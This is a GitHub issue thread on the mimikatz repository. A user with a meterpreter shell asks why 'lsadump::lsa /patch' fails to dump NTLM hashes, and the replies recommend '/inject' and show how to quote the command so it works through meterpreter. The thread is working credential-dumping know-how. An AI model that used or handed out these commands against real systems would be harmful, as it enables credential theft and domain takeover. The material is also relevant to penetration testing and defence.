search

gentilkiwi / mimikatz

A little tool to play with Windows security
http://blog.gentilkiwi.com/mimikatz
19.43k stars 3.73k forks source link

Why lsadump::lsa /patch is not working? #181

Closed agrawalsmart7 closed 5 years ago

agrawalsmart7 commented 5 years ago

I have a shell with root privileges, and I invoke mimikatz in it by using load kiwi in meterpreter shell. Now the problem I have facing is, I can't get the positive results. When I run this lsadump::lsa /patch then I got this information.


RID  : 000001f4 (500)
User : Administrator
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003

RID  : 000001f5 (501)
User : Guest
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003

RID  : 000001f6 (502)
User : krbtgt
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003

RID  : 0000045a (1114)
User : testing
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003

RID  : 00000462 (1122)
User : hacked
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003

RID  : 00000467 (1127)
User : janu
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003

RID  : 000003e8 (1000)
User : MYFIRSTDOMAIN$
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003

RID  : 0000044f (1103)
User : MYFIRSTDOMAIN1$
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003

RID  : 00000450 (1104)
User : DESKTOP-OLI0V2B$
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003

mimikatz(powershell) # /patch
ERROR mimikatz_doLocal ; "/patch" command of "standard" module not found !

Module :        standard
Full name :     Standard module
Description :   Basic commands (does not require module name)

            exit  -  Quit mimikatz
             cls  -  Clear screen (doesn't work with redirections, like PsExec)
          answer  -  Answer to the Ultimate Question of Life, the Universe, and Everything
          coffee  -  Please, make me a coffee!
           sleep  -  Sleep an amount of milliseconds
             log  -  Log mimikatz input/output to file
          base64  -  Switch file input/output base64
         version  -  Display some version informations
              cd  -  Change or display current directory
       localtime  -  Displays system local date and time (OJ command)
        hostname  -  Displays system local hostname

Now where are the hash NTLM and why I AM facing /patch not found in mimikatz.

Looking for reply. Thanks

gentilkiwi commented 5 years ago

In fact, patching is dangerous, but it was my original way to do it. So, I don't work a lots on it now, prefer: /inject in your usage

fabamatic commented 4 years ago

it's not a mimikatz problem, it's a meterpreter problem that parses /inject or /patch as different mimikatz command (i.e. splits commands with spaces). Use \"lsadump::lsa /inject\"